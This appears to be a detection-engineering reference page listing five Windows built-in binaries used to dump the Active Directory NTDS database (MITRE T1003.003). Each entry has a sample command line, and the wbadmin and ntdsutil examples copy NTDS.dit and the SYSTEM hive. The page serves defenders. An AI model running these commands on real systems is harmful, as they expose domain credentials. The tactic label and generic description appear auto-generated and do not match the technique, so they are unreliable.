How many Living-off-the-Land Binaries abuse T1003.003?

LOLPulse tracks 5 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1003.003 (T1003.003).

How can detection engineers monitor for T1003.003?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1003.003Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1003.003: Technique T1003.003

Adversaries may leverage living-off-the-land techniques (T1003.003) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 5

•

Windows: 5

•

Linux: 0

•

macOS: 0

Living-off-the-Land Matrix for T1003.003

Across 5 verified binaries

Windows2 payloads

Diskshadow.exe

Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).

Sample Attack Vector:

diskshadow.exe /s {PATH:.txt}

Inspect Diskshadow.exe & Telemetry

Windows6 payloads

Esentutl.exe

Binary for working with Microsoft Joint Engine Technology (JET) database

Sample Attack Vector:

esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o

Inspect Esentutl.exe & Telemetry

Windows2 payloads

wbadmin.exe

Windows Backup Administration utility

Sample Attack Vector:

wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet

Inspect wbadmin.exe & Telemetry

Windows5 payloads

dsdbutil.exe

Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.

Sample Attack Vector:

dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"

Inspect dsdbutil.exe & Telemetry

Windows1 payloads

ntdsutil.exe

Command line utility used to export Active Directory.

Sample Attack Vector:

ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q

Inspect ntdsutil.exe & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers